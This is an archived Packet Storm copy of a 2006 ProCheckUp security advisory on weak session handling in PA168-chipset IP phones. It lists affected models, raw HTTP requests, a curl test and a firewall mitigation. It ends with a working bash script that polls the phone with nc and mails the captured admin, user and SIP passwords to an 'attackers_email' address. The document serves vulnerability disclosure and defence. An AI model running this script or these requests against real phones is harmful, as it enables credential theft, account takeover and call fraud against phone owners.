exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ProCheckUp Security Advisory 2006.14

ProCheckUp Security Advisory 2006.14
Posted Jan 27, 2007
Authored by Adrian Pastor, ProCheckUp

IP Phones based on the Centrality Communications/Aredfox PA168 chipset suffer from a weak session management vulnerability. Exploit included.

tags | exploit
SHA-256 | 1821bfb5f8cd756cd89b28517356ba2347b103a4fe336db4aabb7a4ab85a7751

ProCheckUp Security Advisory 2006.14

Change Mirror Download
PR06-14: IP Phones based on Centrality Communications/Aredfox PA168
chipset weak session management vulnerability

This advisory has been published following consultation with UK NISCC
[http://www.niscc.gov.uk/]

Date Found: 3rd November 2006

Date Public: 22nd January 2007

Vulnerable:

Phones confirmed to be vulnerable:

- ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54
- SOYO G668 Ethernet IP Phone running SIP firmware version v1.42

The following vendors/models also use the same PA168 chipset/firmware
and are therefore most likely to be vulnerable to the same issue:

- AriaVoice
- AT-323 from ATcom
- JR168_100B from IPLink
- JR168_100W from IPLink
- JR168_200 from IPLink
- Netweb-401/402 from NetWebGroup
- OB-WAN VoIP: Ethernet#1 and Ethernet#2 phones are PA168-based
- Vida some phones PA168 based
- Wuchuan HOP-1001/1002/1003
- Giptel IP phones G100, also Siptronic ST-100 and Siptronic ST-150
(PA168S chipset)
- GNET some phones PA168x based
- KE1020 Netphone (Meritline)
- ML210 Meritline
- Integrated Networks IN-1002. Found on eBay.
- ArtDio IPF-2000 and IPF-2002L phones
- Perfectone IP300

Severity: Medium

Author: Adrian Pastor [adrian.pastor-AT-procheckup.com] from ProCheckUp

CVE Candidate: Not assigned

Overview:

There is a problem with the way IP Phones using the PA168 chipset handle
authenticated sessions, allowing remote attackers to gain access to the
admin web console running as superuser.

Description:
When the superuser account authenticates to the admin web console, a
request such as the following is sent to the IP phone's web server:

POST /a HTTP/1.1
Referer: http://192.168.1.100/
Host: 192.168.1.100
Content-Length: 31

auth=12345678&login=+++Login+++

At this point, the superuser session is considered *active* by the web
server. All it takes for attackers to perform an administrative task at
this point, is for them to send a well-formed request to the web server.
Since no authentication tokens or password are submitted within the HTTP
requests, anyone can perform administrative tasks while the session is
active. Even if the attacker sends the administrative requests from an
IP address different to the one used by the superuser account, the IP
Phone's web server would accept them as long as the superuser's session
is still active.

A script called "active-session-attack.sh" has been created, which
remotely checks repeatedly until a superuser account has logged on by
sending a forged superuser request every five seconds. As soon as the
superuser session becomes active, the following information will be
obtained from the settings page, and emailed to the attacker:

- IP phone's superuser password - grants administrative access
- IP phone's user password - grants restricted access
- SIP gateway hostname/IP address
- SIP account username
- SIP account PIN number

REQUEST:

POST /g HTTP/1.1
Host: 192.168.1.100
Content-Length: 13

back=++Back++


RESPONSE (output has been partially omitted for clarification):

HTTP/1.1 200 OK
Content-Length: 16727
Content-Type: text/html
Connection: close

<TITLE>IP Phone V1.54</TITLE>

[output omitted]

<INPUT name=sipproxy value="sip.test.com">
<INPUT name=domain value="sip.test.com">
<INPUT name=account value="myaccount" size=24 maxlength=32>
<INPUT name=pin type=password value="1234">
<INPUT name=superpassword type=password value="12345678">
<INPUT name=password type=password value="1234">

[output omitted]


In order to test this vulnerability, the following steps have been provided:

1. Log into http://192.168.1.100 from computer A using the superuser
password ('12345678' by default)

2. Send the following curl command from computer B:

curl -d "back=++Back++" http://192.168.1.100/g

3. The administrative settings page should be returned without any
password required.

Note: the IP phone's web server is enabled by default

Fix:

Use access control lists on routers or firewalls in order to only allow
trusted IP addresses to access ATCOM AT-320ED IP Phone's web server.
Exposing the PA168-based IP Phone's admin web server on the Internet is
not recommended.

References:

http://www.voip-info.org/wiki/view/PA168
http://www.centralitycomm.com/
http://www.aredfox.com/eindex.htm
http://www.atcom.cn/En_products_At320ED.html
http://www.soyogroup.com/products/proddesc.php?id=307
http://www.procheckup.com/Vulner_2007.php

Legal:

Copyright 2006 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if the Bulletin is not changed or edited in any way, is attributed
to ProCheckUp indicating this web page URL
[http://www.procheckup.com/Vulner_PR0614.php], and provided such
reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. ProCheckUp is not
liable for any misuse of this information by any third party.

ProCheckUp is not responsible for the content of external Internet sites.


==========================
#!/bin/bash

host="192.168.1.100";
attackers_email="adrian.pastor-AT-procheckup.com"
req="POST /g HTTP/1.0\r\nContent-length: 13\r\n\r\nback=++Back++\r\n\r\n";

while true
do
res=`echo -en $req | nc -nv $host 80`;
if echo $res | grep superpassword # if this gets returned, then we got the settings page with all SIP account and IP phone creds
then
echo "GOT IT!"
echo $res > "admin-settings-page"
echo $res | mail $attackers_email -s "PA168 IP Phone admin's settings page"
exit 1
else
echo "bad luck"
fi
sleep 5
done





Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close